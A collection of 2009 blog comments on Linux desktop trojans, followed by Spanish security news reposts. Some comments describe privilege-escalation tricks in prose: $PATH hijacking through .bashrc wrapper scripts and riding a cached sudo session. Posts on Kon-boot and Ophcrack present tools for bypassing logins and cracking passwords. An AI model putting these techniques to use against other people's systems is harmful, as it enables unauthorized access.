@Matthew C. Tedder: Sorry Matthew, but you are mistaken. Several
times.
1. No, I don't need a '&&'. I don't know which shell you are trying or
what exactly you have typed in, but this works exactly as I wrote it
for me and it does so on several standard installs (Ubuntu, Kubuntu
and Fedora).
2. Who has curl or wget installed? Most distros. At least those that
matter as far as market share is concerned: Ubuntu, Kubuntu, Fedora.
I'm sure SuSE has something like it as well.
3. Who has Python installed? Again, almost everyone. I don't know
which distro you are running, but all those that I have checked do.
And my goodness: Does the term 'proof of concept' mean anything to
you? Use bash programming if you like that better. I'm sure that's
installed everywhere.
4. Huh? I don't even know what you are talking about. But I do know
that I can write a single shell line, which reliably extracts all
email addresses that I have ever contacted from my mailbox. I don't
need the address book if I don't want to. And I can just run that
single line against ~/.evolution, ~/.moxilla-thunderbird and some of
the other common places in which one finds emails.
As outlined above, in the very most cases I don't need to install any
prerequisites, thus, I don't need root.
Comment by Toxic_Shock, on 18-FEB-2009 13:00
I guess it is time to reform the desktop environment...
1) Remove the heavy integration from the desktop environment. It
violates the Unix philosophy of 'one program per task' spiel. I agree,
leave the double click and your problems are solved for windows users.
2) More advanced policies on execution. Like SELinux and Apparmor,
something should be running that prevents programs from messing with
directories they have no business in. If those policies are too hard
to maintain, then maybe linux isn't for you. However, since programs
can do so much, they would naturally have more directory access.
I'd hate to see a world where Linux users are running virus scans and
spyware scans.
If the current desktop projects refuse to consider this, they should
be abandoned by security aware users in search of or in quest to
create a desktop environment will all the security considerations in
mind.
Ease of Use often destroys security.
Comment by Nacho, on 18-FEB-2009 13:25
Interesting article, no matter what a few guys want to discuss ;-)
But please... change the CSS for printing. I wanted to keep it for
online reading, and the main article (with no comments) took over 22
pages! ;-)
Comment by tantris, on 18-FEB-2009 15:00
"Truly, on a desktop system that is normally just used by a single
user owning that user account is pretty much equivalent to owning
root, as far as doing damage is concerned"
Exactly. And that has been bothering me for quite a while. What one
usually reads is the mantra about not being able to take over the
system, only user accounts, very safe, blala...
That's fine for a multi user system, but for a desktop system I don't
care that much about the OS (I got a clean copy on CD), nor downtime,
but my files in userland.
With more and more people using Linux and more and more programs using
scripts, the risc will increase. It doesn't have to be a desktop icon,
it could also be a malware script for firefox (the cool new toolbar),
some runaway java, that exploits a bug, a addon for evolution,...
Maybe web applications shouldn't run as user at all. No desktop user
rights, no script problems.
They could be in my group, so I can read the files, but have no write
access outside of their subfolder.
Comment by Shane Spencer, on 18-FEB-2009 16:21
Rinse/wash/repeat for any other OS. How is this news?
Comment by Dave, on 18-FEB-2009 19:39
Interesting points. Definitely a flaw in the FreeDesktop spec, if you
ask me... And the immediate fix response I have is the same as yours
-- require .desktop files to be executable. I don't think that's a bad
idea at all. The only problem is that a .desktop file would then need
a hash-bang or it will be interpreted by /bin/sh. Minor, but it means
having to tweak every .desktop file out there.
Also, the problem of gaining root is simplified by a smart app which
waits until some other app requiring root has been launched with
gksudo (as is update-manager, for instance). The idea behind sudo (and
gksudo) is that if you've authenticated, you shouldn't need to re-auth
for a period of time after the last time you needed to. So if you
perform a gksudo-based operation every 5 minutes, you will only have
to auth the first time (default window is 15 min, iirc). A smart py
app could wait until one of these more well-known apps is running
before attempting its nefarious actions via a quiet sudo.
Comment by Azrael, on 18-FEB-2009 21:48
synaptics != synaptic.
Synaptics is a touchpad driver, Synaptic is a GUI deb package manager.
Comment by Daniel, on 18-FEB-2009 23:52
Whew, for a moment I thought this was actually going to be something
to worry about. No operating system can be hardened against social
engineering. When you come up with a way to infect my Linux system
with no interaction on my part... then I'll start to worry.
Comment by Jamster, on 19-FEB-2009 00:27
Thanks for this informative article!
It's sad that so many people start falling back into bite reflexes as
soon as they see an article that might even remotely criticize
something about any part of Linux software or users. It's also funny
that 90% of them show that they haven't even fully read the article,
while waving around their 'Durr, you're so stupid but you can prevent
it via X Y and Z!' Congrats. You're not who this article is about. But
you'd have known that, had you properly read it.
Alas tho, I'm not here to fuel flames, but to praise; The notion of
getting root access thought modifying the user-editable menu-entry
files for su/sudo-requiring apps is brilliant. I mean, It's utterly
simple, but it's just nothing most people -think- of. Usually when
talking about getting root, one thinks of privilege escalation
exploits in the kernel, but that's it.
And while the old rule of not wildly opening e-mail attachments is
ancient and old news by itself, I'm glad you stated the fact that,
yes, Linux users also need to live by it.
One big reason:
While on the one hand, most Linux users are tech-savvy and security-
aware...people seem forget that those users also often -eagerly- try
to push the benefits of Linux onto their family members and friends.
'hey, this is alot more secure than your Windows, use it! I'll install
it for you, too!'
Boom. There you have it. Linux users who are not in the least the OS
experts and security-aware folks that many people claim a Linux user
clearly is. And we'll be seeing more of this in the future. That's
something to think about folks... Mr. LinuxExpert installing fave-
distro for others as a gift. You know, because their Windows was so
worm-ridden ever so often.
Thanks for the article.
Comment by hazed, on 19-FEB-2009 02:16
Dammit, thanks for taking away one of my leading arguments when
getting windows users to migrate to Linux!
Nevertheless, it was very informative, and definitely something to
keep in mind when dealing with GUI's of any sort, on any sort of
operating system.
Comment by Alex Borges, on 19-FEB-2009 05:00
K man, all you say is true.
But come on:
1) Wanna get rid of your "virus"? Delete all dot-files in the home
directory, recreate from /etc/skel.
2) Did de "box" get infected? No, it didnt, only the home directory of
the user did.
3) Do you need an antivirus to protect or remove the thing? No, all
you need is a little technical prowess.
4) No operating system experience can survive the user tendency to
execute something that goes randomly in their inbox. None at all. Or
well, only those that do not let you execute anything except verified
and signed code, such as the iphone and other celphones. While we may
enjoy this lack of feature in a phone, no PC would be worth it if you
couldnt use it as a generic platform.
5) It all depends.... on the visual filemanager's configuratiopn. Mine
wont run anything without asking me if I want to look at a terminal
screen or not. Thats two times it asked: once in my email client, once
when attempting to run.
So yes, you can make a trojan for linux (for anything, really, even a
pwned iphone). Its just cheaper to kill and its harder for it to
infect you.
On the other side, no linux user should feel confortable with a script
ariving at his/her box. Linux gets its software from a recognized
distributor, not from any kind of email. Linux users so tend to be
much more weary of anything that will attempt to run on their box,
since anything that has to "run", comes from a little icon on the top
left, for most distros.
You are right, though, in that nobody should say that Linux is
impervious. It is not. Its just MUCH MUCH MUCH more secure.
Comment by martinob, on 19-FEB-2009 05:50
Hi,
This is an interesting article. It reminds me of an Ubuntu thread I
read a couple of years ago about a hypotetical fake-sudo exploit.
http://ubuntuforums.org/showthread.php?t=504740
How about the following suggestions for users:
1) Never open anything by left-clicking on it; always do it by right-
clicking and selecting action from the context menu.
2) To avoid privilege escalation: don't use su or sudo from the same
virtual terminal of your regular user. In my case, I've configured my
system so that two x-sessions are opened by default. One of them
(under F7) is for my regular user, and the other one (under F8) is for
a privileged user, from where I use sudo or su for programs like
synaptic. I use a lightweight WM (iceWM)for this privileged account,
so that the system is not so loaded. In other words, I work under the
assumption (I think it's correct) that virtual terminals are a hard
wall against all forms of keylogging. Why bother? Well, for instance,
you may have a hard-disk backup policy in which backups can only be
deleted by root. So, if the trojan only gets your user account, it can
delete your working files but not your backups.
Now, for DE developers:
Always give the user visual cues as to whether a file is to be opened
with a low-risk application (like gimp, firefox or openoffice) or a
high-risk program like an interpreter (bash, perl, python,..). Here
the risk criterion is as follows: "is it normal, expected behavior
that opening a file with this program may result in arbitrary
manipulation of other files by the program?" If the answer is
affirmative, the program is an interpreter, and the file icon should
reflect this fact (either by only allowing one or few, easily
recognisable icons for this type of file, or by surrounding the icon
with an indicator halo, or something like that ) or the DE should
prompt the user for confirmation upon left-clicking. Yes, openoffice
(with macros) and firefox (with javascript) are becoming a grey area,
where some files are not so safe as they should, but this risk is
properly assessed and addressed by developers of those programs. In
contrast, general-purpose interpreters are meant to execute code
without restrictions. The long-term solution would be, I think, a
capability-based security model.. but in the meantime, this rough
distinction between interpreters and everything else should remain a
priority.
Comment by Tempura, on 19-FEB-2009 20:34
Besides dumping desktop-files in ~/.local/share/applications, there is
a more useful way to gain root-access. Just modify $PATH in ~/.bashrc
and dump some wrapper-scripts for the usual apps somewhere. This way,
it's a nearly 100%-chance that you gain root-access when the user use
root the next time. This works, becaus most of the desktop-files don't
use the full path to applications. And so does the user itself, too.
Comment by themouse, on 20-FEB-2009 02:21
I tell everyone that that virus/trojan are unlikely on Linux. And what
I tell them is the individuals who have the skill in that environment
are usually writing kernal or some other code.
Windows on the other hand is a closed door, red button who can
resist...
Comment by Scali, on 20-FEB-2009 03:13
Hi, I liked your article, but there is a small error in there.
Windows actually DOES have an execute bit in the filesystem. At least,
it does on NTFS partitions.
You have the following basic permissions:
- Full Control
- Modify
- Read & Execute
- Read
- Write
All these are ACL-driven and as such can be inherited and you can set
allow/deny rights for any group or person you like.
This makes it possible to have .exe files that can be read and written
to by a user, but not executed, just like on a *nix system.
The main problem here is that on most Windows systems, the execute
right is enabled at the root of the drive, and then automatically
inherited, which will still allow people to run executables.
This is however the result of a system that is not properly configured
by the administrator, and not a deficit of the OS itself, as the
article claims.
Comment by Hilzu, on 24-FEB-2009 10:21
Interesting. According to this: http://commit-digest.org/issues/2009-02-08/
the problem described here is actually being fixed in KDE and Gnome.
Comment by erikro, on 26-FEB-2009 02:43
Hi,
that's amusing. I'm using Linux now for more than 10 years and from
time to time I read that viruses are as possible under that system as
under windows. I just googled a bit around for another of those
discussions to have a look what's going on at the moment. Business as
usual. We hear two mantras. The linux mantra of the stupid ppl who
tell us that linux is not vulnerable and the paid by ms mantra that it
is vulnerable as windows and we don't have viruses here cause it isn't
used as much as windows. Both are wrong.
First of all the argument that viruses are not found under linux cause
it is not that widespreaded as windows isn't an argument. This is true
when we are talking about desktop systems but what about server
installations which are much more interesting for crackers than my
grandmas computer? Here we find much more installations under linux
and other unixes that windows. Where is the malware found?
Second, for about ten years now the ms paid ppl tell me that in the
next time we will find a load of linux virus. I'm waiting and waiting
and nothing happens. The viruses we know are not spreaded. Only some
laboratory viruses exist. For example in 2006 Kaspersky which is for
sure one of the world wide leading virus experts told us so. Now,
three years later, he repeats it. How many new viruses where found the
last three years widespreaded in the wild? Under windows nearly
uncountable, under linux none. So what?
Third, everone who really knows system architecture of both systems
also knows that windows is much more vulnerable than linux. Not only
the concept of making files executable not by it's name but by an
executable bit, not only the user concept but also the concept how
hardware drivers can be added makes linux harder than windows. That
doesn't mean that linux can't be attacked. One who says so is just
stupid. It's just not that easy and we need other methods to do so.
The easiest method is and that's what you are talking about the social
attack. Why looking around for an exploit if I can tell the user to
execute the file. In that case the user concept protects the system
from the worst case giving the attacker root access. Is it so? Is
linux really better in that case? No it isn't and that's the point of
your article.
I'm also running windows even for longer time than linux. I never
installed a virus scanner. I have my virus scanner placed in my brain.
Ok, that's not the way everyone should act and the last years I'm
using windows only for testing and educational purpose and not for
surfing, email ... The most important point is that I know how to make
windows as rock hard in that point as linux. It is possible even
though it costs you a lot of work. The lack in the user concept of
windows is not the architecture but how it is used. We all know that
the first user made whilst installation process has full admin rights
and ppl are even not told that this is dangerous. So the non technical
users don't even know which risk they are running and what to do
against it. In the home editions they don't even have the chance to
make the change. That's what makes windows installations that
vulerable.
Linux is better than this? Let's take a look at the actual
distributions. I'm not only administrating systems but also teaching
how to do so. Doing so you have a much closer view on what is strange.
So, I installed with my pupils the newest opensuse. I was a bit
shocked when we created the first user:
- user password the same as root password activated
- user logged in automatically activated
Hey, that's like windows! For sure I told my pupils to deactivate this
but will new non technical users who downloaded opensuse to give it a
try do so? They don't under windows and they won't under linux. So
they will have a great lack of security which is not needed.
Other distros I've been told (I think it was a fork of ubuntu) use
only sudo to give users root access. Sudo is a nice thing for server
administration to let the email admin configure only email purpose,
the web admin only apache etc. but for desktop systems it is not
really needed. It's only easier for the user not giving always the
root password but just typing sudo. I was told that there are distros
who don't even have a root password but everything has to be done with
sudo even without being promted for password. So we can use your
method to run everything we want with root rights on those systems.
That's what's going on. The modern distros want to make linux that
"easy" as windows seems to be. That's the wrong way. Linux in my point
of view was always easier to handle than windows cause the basic
installation was as secure as the system could be. Windows is a system
which you have to work a lot on to make it secure. So the way should
be to keep linux secure and not to make the same mistakes as ms did.
Bye
Erik
Comment by Madman, on 27-FEB-2009 01:11
@Romanic: Yeah, good thing Microsoft is working hard to make UAC more
secure...
Part of the reason GNU/Linux is so secure is because of the repository
system. Need an application for a specific task? Searh the
repositories. 99.9% of the time, your wanted application is there. No
need to surf the web, scan downloaded executables with a virus
scanner, downloading programs from E-mails, etc. etc. etc.
Granted, as said quite a few times, social security isn't an issue
that GNU/Linux can fix. Leave that to education. As was also said
before, albeit only once, A fix is being made in both Gnome and KDE.
Comment by passerby, on 28-FEB-2009 03:48
it a very valid point that root privileges are not needed considering
that most malware and spy ware is meant to harvest peoples personal
information which can be all accessed from a user level account on a
unix machine. the internals of the operating system that are protected
by root privileges i don't consider to be overly important because if
they are compermised i can just do a fresh install of the operating
system the data I actually care about on my computer is all contained
within the home partition with in my user folder which can all be
accessed by this hack or whatever you want to call it.
Paulo
BitDefender, nuevo antivirus para Linux
Publicado por Picajoso el 8 Abril, 2009 en Software, seguridad
¿Quién dijo que no había virus para Linux? Puede que no sean muchos,
pero como en el caso de las meigas, haberlos, haylos. La popularidad
de este sistema operativo -más limitada de lo que me gustaría admitir-
es una de las razones por las que los programadores de virus prefieren
centrarse en plataformas más “beneficiosas” como Windows, pero eso no
impide que no haya virus para GNU/Linux.
bitdefender-1
Pues bien, ahora podrás estar un poco más tranquilo ante estas
amenazas, ya que la conocida firma BitDefender ha presentado una
edición de su solución antivirus para GNU/Linux.
bitdefender-2
El llamado BitDefender Antivirus Scanner for Unices está dirigido a
encontrar todo tipo de códigos maliciosos, incluso en ficheros
comprimidos en formatos muy populares en Linux como tar.bz o tar.gz.
El antivirus se puede descargar y usar sin coste alguno -siempre que
sea para uso personal-, y además se incluyen plugins para los
principales gestores de ficheros utilizados en las distribuciones
actuales: Konqueror, Nautilus y Thunar, así que analizar carpetas en
cualquier momento es muy sencillo. ¡Ya sabéis, más vale prevenir que
curar!
Puedes seguir los comentarios a través de RSS 2.0. Puedes dejar un
comentario, o un trackback desde tu blog.
* Comentarios y trackbacks (6)
1.
MeLkOrAzO dice:
Abril 8, 2009 a las 1:11 pm
Gracias!, por lo que se observa también detecta virus de
Windows… muy útil si quiere compartir un archivo que descargaste
asegurando que no hará daño a los demás :D
2.
dark1789 dice:
Abril 8, 2009 a las 1:33 pm
Hay algo que quiero recalcar, no es que no vayan a existir virus
en contra del pinguino pero todas las soluciones de seguridad,
entiendase antivirus, antispyware y demás que funcionan en linux lo
plantean bastante claro que su uso es detectar amenazas que puedan
causar daño a sistemas windows para nada más, además como incluso el
preview que tienes en la imagen los virus que detecta todos son de
windows, asi que si vas a trabajar entre computadores linux o mac su
uso es un desperdicio de recursos. tar, gz, rar, zip, 7z son formatos
de archivos comprimidos y desde hace mucho tiempo los virus saben de
antemano como introducirse en ellos sin afectar su integridad y el
hecho de que encontremos uno que otro virus o spyware dentro de ellos
es factible cuando desconocemos la fiabilidad de lo que descargamos,
ahora que tar y gz sean más usados bajo linux es una cosa pero no es
de uso exclusivo en linux.
3.
Kelbo dice:
Abril 8, 2009 a las 1:39 pm
Disculpen mi ignorancia, pero hasta donde yo entendia (antes de
leer esta noticia) es que ya existen antivirus para linux, pero que
escanean y buscan virus tipo windows. De esta forma esanearias un
sistema windows sin tener que bootear con el. Esto no me parece algo
diferente, incluso veo que escanea archivos .exe en el screenshot. Si
este es el caso, muchas personas que lean la noticia podrian llevarse
una impresion erronea del tema.
No digo que no sea posible hacer un virus linux, sino que, como
mismo dijo el autor “no es algo lucrativo” para los creadores de los
virus.
Ahhh, por cierto, da miedo que la gente de los antivirus metan
las narices en linux, orita empiezan a salir lo que hasta ahora no
existia. Orita crean un virus que mata todos los sistemas linux y lo
contratan en una de estas compañias como jefe de seguridad…. les suena
familiar a alguien?
4.
juankamed dice:
Abril 8, 2009 a las 3:17 pm
Hola, la verdad este tipo de noticias, desinforman a la gente,
puede que si, que haya codigo malicioso que se pueda ejecutar en
linux, pero, el problema no rádica en que este sea o no popular, el
problema rádica en su sistema de archivos y manejo de niveles de
usuarios, puesto que si un usuario se llegase a infectar, sería
cuestión de crear uno nuevo, además para que se ejecute un virus tiene
que tener un sistema de rompimiento de seguridad bueno, y se ejecute
como root, claro que si uno no sabe administrar su sistema grave, veo
un poco complicado el panorama para los virus en linux, pero no los
descarto, ahora repito si fuese por popularidad, pués que no la
mayoria de servidores en linea están trabajando con linux?…. Esta
herramienta sirve para entornos Windows/Linux, el resto es
públicidad!!
5.
FS4 dice:
Abril 8, 2009 a las 5:32 pm
Artículo de desinformación pura y dura y de publicidad gratuita
para una empresa de antivirus. Así no ganaréis muchos lectores y lo
que es peor, algunos dejarán de leeros.
6.
Victor dice:
Abril 8, 2009 a las 5:48 pm
Hola. Pues a mi si me parece una buena noticia, aunque uso linux
en el día a día, el pc también lo usa mi hermana y ella solo entra a
windows, así que sí me interesa una alternativa para controlar los
virus de este sistema desde linux.
Lo de los virus en linux es inevitable. Todos los que abogamos
por una popularización del sistema del pingüino debemos ser consientes
que entre más popular, mayores son las amenazas. Sin embargo confío en
que la forma con se trabaja con linux, y la rápida respuesta por parte
de la comunidad ante cualquier vulnerabilidad se la coloquen realmente
difícil a los creadores de malware.
http://www.muylinux.com/2009/04/08/bitdefender-nuevo-antivirus-para-linux/
Paulo
Suscríbete Aquí !!
Sé libre, únete, colabora y participa.
Registrate | Lista de Interés
Cuidadado: Un nuevo gusano que infecta routers/módems con Linux
embebido
Suguridad Informática
Una nueva botnet “psyb0t” es la primera de la que se tiene constancia
que es capaz de infectar directamente routers y módems.
Se sospecha que la botnet se originó en Australia, ya que la primera
actividad de la red se detectó allí. El consultor australiano Terry
Baume observó por primera vez un router Netcomm NB5 infectado. Pueden
leer su análisis completo aquí.
El código binario del gusano se analizó por los miembro del sitio web
DroneBL (utilizando un tracker IP en tiempo real que busca botnets y
máquinas vulnerables), y llegaron a la conclusión de que “psyb0t” o
“Red Bluepill” es principalmente una prueba de concepto. Tras su
descubrimiento, el operador de la botnet la desconectó rápidamente.
La primera generación del gusano estaba dirigido a un número concreto
de routers, aunque la actual versión, la más reciente generación
descubierta (apodada en el código como “versión 18″) se dirige a una
amplia gama de dispositivos. El software malicioso está preparado para
infectar más de 30 diferentes modelos de Linksys, 10 modelos de
Netgear, y una gran variedad de módems.
Además, el gusano contiene una lista de 6000 nombres de usuario y 1300
contraseñas en su código, que utiliza para realizar un ataque de
fuerza bruta para conseguir el acceso por Telnet y SSH. En general los
routers no bloquean a un usuario después de una serie de intentos
fallidos por contraseña incorrecta, haciendo posible dichos ataques
por fuerza bruta.
Según DroneBL, cualquier router que utilice un procesador MIPS y
ejecute el sistema operativo Linux mipsel (un simple sistema embebido
para procesadores MIPS) es vulnerable si tiene la interfaz de
administración del router, sshd/telnetd en un DMZ y utilizan un
usuario/contraseña “débil“. DroneBL indica también que los
dispositivos con el firmware open source “openwrt” y “dd-wrt” también
puede ser vulnerables, además de otros routers que ejecutan el sistema
operativo VxWorks.
La explotación de cualquier dispositivo de red es más útil que
infectar directamente a los equipos porque la gran mayoría están
funcionando las 24 horas del día, a diferencia de los PCs. El ataque a
un router además permite la exploración de toda una red sin ser
detectados, ya que no se aprecia ningún cambio en el ordenador,
excepto quizás una reducción de la velocidad de la conexión.
El personal de DroneBL señaló que el gusano es muy difícil de
detectar, y la única forma conocida sería monitorizar el trafico de
red dentro y fuera del router. Según DroneBL la botnet es capaz de
escanear instalaciones vulnerables de PHPMyAdmin y MySQL. También es
capaz de deshabilitar el acceso a las interfaces de control de un
router.
El autor del botnet, chateando anónimamente en un canal de IRC, afirmó
haber tenido infectados 80.000 routers a la vez. APC está hablando con
los fabricantes de routers para evaluar que modelos son los
vulnerables y que deben hacer los usuarios para protegerse de este
tipo de ataques.
Paulo
teleobjetivo.org/blog/un-virus-informatico-inmume-al-formate...
por me_meneo_pensando_en_ti el 28-03-2009 21:00 UTC
[c&p] ¿Como lo han hecho? Parcheando la BIOS. Los ordenadores actuales
permiten actualizar la BIOS, capacidad que Anibal Sacco y Alfredo
Ortega aprovecharon para aplicar un parche que es capaz de sobrevivir
no solo al reformateado del sistema, sino al propio reflasheado de la
BIOS. Este parche otorga un control total sobre el ordenador
independientemente del sistema operativo utilizado, ya sea Windows,
Linux o BSD.
Paulo
Vista.
de ekl Alcance Libre
Dos ciudadanos de EE.UU. han demandado a Acer por algunos modelos de
sus ultra-portátiles, asegurando que el fabricante taiwanés pre-
instaló Windows Vista en equipos que carecen de la capacidad para
utilizar éste apropiadamente. Con la demanda interpuesta el miércoles
pasado en San Francisco California, los dos residentes de Fostoria,
Ohio, buscan reparación de daños de parte del tercer más grande
fabricante de computadoras del mundo, luego de adquirir una ultra-
portátil de 600 dólares que incluía Windows Vista Premium y un GB de
memoria RAM.
Paulo
de ekl1news The Inquirer ES de jamaturana
Melissa fue el nombre del primer virus que se propagó usando el
servicio de correo electrónico. Parece que la informática ha estado
siempre ligada a los virus, pero hay cierto tipo de virus que no son
tan antiguos. Claro ejemplo de ello es el tipo de virus que usan el
email como medio de propagación
Paulo
Ophcrack obten la contraseña del administrador en windows
de ekl1news http://www.softwarelibre.net (cc) http://feeds.feedburner.com/softwarelibrenet
ophcrack_livecd1
Ophcrack es una herramienta para crackear las contraseñas de Windows
basada en las tablas Rainbow. Es una implementación muy eficiente de
las tablas rainbow hecha por los inventores de este método. Viene con
una Interfaz Gráfica de Usuario GTK+ y corre bajo Windows, Mac OS X
(CPU Intel) y también en Linux.
El LiveCD de Ophcrack contiene un sistema Linux completo (SLAX),
ophcrack para Linux y las tablas Rainbow para contraseñas
alfanuméricas.
El liveCD crackea las contraseñas automáticamente, sin necesidad de
una instalación y sin la necesidad de conocer la contraseña de
administrador (solo es necesario arrancar desde el CD)
Paulo
prey-track-your-laptop-white-border
Prey es una pequeña y muy, muy simple aplicación que recolecta un lote
información de tu computador, y la envía a una casilla de correo que
hayas definido previamente. La idea es que la instales en tu laptop
para que cuando llegue el día -- ojalá nunca -- en que desaparezca el
tarro, cuentes con más información para rastrearlo, ya sea usando el
IP, el nombre de la red WiFi a la que esté conectado, o bien la foto
del impostor.
Prey es un script bash por lo que obviamente el código es abierto, y
de hecho está licenciado bajo la licencia SRTCRMCUC -- que explico más
abajo, pero es básicamente la GPLv3 con un añadido -- para que hagas
lo que quieras con él. Debería correr en cualquier variante *NIX
(Linux, Mac, etc), pero por ahora sólo lo he probado en Ubuntu
Intrepid 64 bit y en Mac OS Leopard.
Paulo
búsquedas de forma anónima. Junto con la extensión nos encontramos con
el dominio http://www.google-anon.com/ para buscar directamente.
Paulo
Debian user
gpg --keyserver subkeys.pgp.net --recv-key 6A423791
gpg --fingerprint 6A423791
gpg --armor --export 6A423791| apt-key add -
Ubuntu users
sudo gpg --keyserver subkeys.pgp.net --recv-key 6A423791
sudo gpg --fingerprint 6A423791
sudo gpg --armor --export 6A423791| sudo apt-key add -
Paulo
Las mejores extensiones de seguridad para firefox I
Antes que nada, si aún usas internet explorer, te recomiendo que
descargues Firefox, que de los navegadores decentes, es el que más me
gusta.
Firefox 3
Una de las razones por las que Firefox es cada vez más usado es porque
es más seguro que el explorer. En parte esto es cierto, ya que el
explorer es compatible con ActiveX, una de las tecnologías de internet
menos seguras que existen. Sin embargo, como todo software, este
navegador tiene bugs, y no está de más publicar una lista de
extensiones que pueden mejorar la seguridad del navegador.
BetterPrivacy: Esta aplicación nos permite que al arrancar el
navegador se eliminen automáticamente las cookies flash. Estas cookies
son como las de toda la vida, pero las guarda el flash player. Como no
las maneja el navegador no se eliminan con la opción estándar de
borrar cookies, y pueden ser una amenaza a la privacidad, ya que no se
suelen eliminar nunca.
Firekeeper: Ésta extensión la pongo porque me pareció curiosa. Es un
sistema de detección de intrusiones (IDS) integrado en el propio
navegador, y que funciona por reglas. Puede bloquear ataques generales
escaneando el código de las webs que visitas.
CustomizeGoogle: Extensión bastante completa que permite cambiar el
comportamiento de las webs de google. Elimina publicidad, añade
opciones a google, bloquea el análisis de comportamiento y algunas
opciones más.
Adblock Plus: Bloquea publicidad, y en general, cualquier objeto no
deseado en una página web. Puedes crearte tu propia lista de
servidores bloqueados o usar una de las ya hechas y actualizadas.
NoScript: Bloquea javascript, ataques XSS y en general cualquier
plugin de las páginas que no has considerado "seguras". Al principio
supone un trabajo ir permitiendo las páginas que visitas usualmente,
pero hay que tener cuenta que la mayor parte de ataques se realizan a
través de javascript, java, flash y todo eso queda bloqueado para las
webs que no consideres seguras.
Redirect Remover: Evita que algunas páginas te hagan pasar por páginas
de redireccionamiento. Esto permite que los links carguen antes, y
evitar en lo posible un análisis en tu navegación.
RefControl: Configuración avanzada de referrer. Básicamente te permite
bloquear que una web sepa desde qué otra web vienes. Recomendado
configurarlo como "bloquear peticiones de terceras partes". Esto
permite que por ejemplo veas las imágenes de imageshack aunque sea
desde una web bloqueada.
Secure Login: Añade seguridad al inicio de sesión en páginas web
(básicamente activa protección contra javascripts que pudieran pillar
tu contraseña guardada de otra web. Además hace más cómodo el inicio
de sesión.
Stealther: Añade un modo de navegación sin dejar rastro al navegador
(similar al que tiene el Safari). Cuando lo activas, ninguna web que
visites queda en el historial, recordar contraseñas ni cookies.
TorButton: Trabaja junto con el Vidalia (Tor) para proporcionar
navegación completamente anónima (y bastante lenta ;P).
Paulo
distro Kon-boot:
Accede a cualquier ordenador sin conocer su contraseña
Kon-boot es un software inicialmente creado para acceder a un sistema
linux como root sin conocer la contraseña ni elevar los privilegios
del usuario, que ahora se ha transladado a la plataforma Windows. Con
Kon-boot se puede entrar en cualquier sistema windows sin conocer la
contraseña. Lógicamente esta herramienta gratuita está diseñada para
casos en los que se ha olvidado la contraseña, caso que aunque parezca
raro es más habitual de lo que pueda parecer.
Kon-Boot ha sido probado y funciona correctamente en todas las
versiones de Windows XP (SP1, SP2 y SP3), en Windows Vista Ultimate
(sin SP1 y con SP1), Windows Vista Business (sin SP1), Windows Server
2003 Enterprise , Windows Server 2008 Standard SP2 (v. 275) y Windows
7, aunque según se indica en su web oficial en el resto de versiones
Windows debería de funcionar en un principio.
El funcionamiento de Kon-boot es muy sencillo basta con arrancar el
sistema con el cd de este (cambiando la secuencia de arranque en la
Bios si es necesario), seleccionar el perfil y poner la contraseña que
se desee.
Para utilizar el programa necesitas:
* Sistema operativo: Windows 2003/XP/Vista/7
* Sistema operativo: GNU/Linux
+++++++++++++++++++++++++++++++++++++++++++-
Un software llamado Ophcrack nos permite conocer la password del
sistema Windows en caso de que hallamos perdido la misma. La cuestión
que ese software no siempre trabaja en todos los sistemas.
En cambio Kon-Boot sí nos permite logear en el sistema, sin importar
si es como usuario o administrador, sin necesidad de conocer la
password.
Esta herramienta cambia el contenido del kernel en el momento de
booteo ya sea en Windows o Linux, pero no se crean que cambia el
Kernel real, ya que no es así,todo lo hace en forma virtual, por lo
que nos podemos quedar tranquilos.
Las versiones del sistema operativo Windows en que se probó este
software y funcionaron correctamente son:
Windows Server 2008 SP2 (v.275)
Windows Vista Business SP0
Windows Vista Ultimate SP1
Windows Vista Ultimate SP0
Windows Server 2003 Enterprise
Windows XP
Windows XP SP1, SP2 y SP3
Windows 7
Las distribusiones de Linux (todos con Grub 0.97) en que se probó sin
problemas son:
Gentoo 2.6.24-Gentoo-r5
Ubuntu 2.6.24.3-debug
Debian 2.6.18.6-868
Fedora 2.6.25.9-76.fc9.i686
En Linux permite logearse al sistema como usuario “root”, sin ingresar
la password correcta o permite elevar provilegios desde el usuario
actual a “root”.
Podemos descargar una versión para Floppy Disk o una imagen para crear
un CD de booteo y la misma nos sirve para acceder tanto a Linux, como
a Windows.
Por supuesto que muchos de ustedes estarán pensando que con este
programa se puede ingresar sin permiso a un sistema, pero no es ese el
motivo por lo que escribí sobre este software. Esta es una herramienta
perfecta para cuando nos olvidamos la password del sistema, cosa que
si bien no sucede todos los días, puede llegar a pasar.
Para descargar Kon-Boot: piotrbania.com/all/kon-boot/
Paulo
http://unmundolibre.net/2009/04/22/10-modos-de-reestablecer-la-contrasena-de-root/
Tags: contraseña, root, Seguridad
El problema de las buenas contraseñas es que son difíciles de recordar
de ahí que alguna vez nos hayamos encontrado con que no nos acordamos
de nuestra preciada contraseña de root, imprescindible para ejecutar
determinadas acciones. Pero eso no tiene por qué ser un problema si
hacemos caso a las 10 recomendaciones para reestablecer la contraseña
de root que nos proponen desde Handle with Linux. Algunas de estas
recomendaciones puede que no funcionen ya que todo dependerá de la
configuración de tu sistema, pero no está de más tenerlo guardado
entre nuestros enlaces por si alguna vez surge el problema.
-
**************************************************************************-
20 mandamientos de los administradores de sistemas
post info
Por unmundolibre
Categorías: Citas and Linux
Tags: administradores de sistemas, Citas, Linux, sysadmin
Un interesante documento, realizado por Steve Stady y Seth Vidal, en
el que se recogen una serie de ideas y consejos hechos por y para
sysadmins o administradores de sistemas. Se incluye el texto original
y la traducción (libre, por supuesto):
1. Do it the same, over and over and over again (Haz lo mismo una y
otra y otra vez)
2. Backups are sacred! If you do not know if your backups are
current, then test them by restoring the data and comparing. (¡Las
copias de seguridad son sagradas! Si no sabes si tus copias de
seguridad están al día, entonces pruébalas reestableciendo los datos y
comparando)
3. Do not make many, tiny partitions, make a smaller number of
larger partitions, instead. (No crees muchas pequeñas particiones, en
su lugar trabaja con un número pequeño de particiones grandes)
4. Why change the system default when you don’t have to? (¿Por qué
cambiar el sistema por defecto si no tienes necesidad?)
5. Think now so you don’t have to later (at 4am). (Piensa en el
momento así no tendrás que hacerlo más tarde (4 de la mañana, por
ejemplo) o nuestro equivalente en español no dejes para mañana lo que
puedas hacer hoy)
6. If you have to do it more than once, automate it. If you cannot
automate it, document it. (Si tienes que hacer tareas repetitivas,
automatízalas. Si no puedes automatizarlas, busca documentación para
hacerlo)
7. Personality is for people, not for computers. (La personalidad
es para las personas, no para los ordenadores)
8. “Debugging is twice as hard as writing the code in the first
place. Therefore, if you write the code as cleverly as possible, you
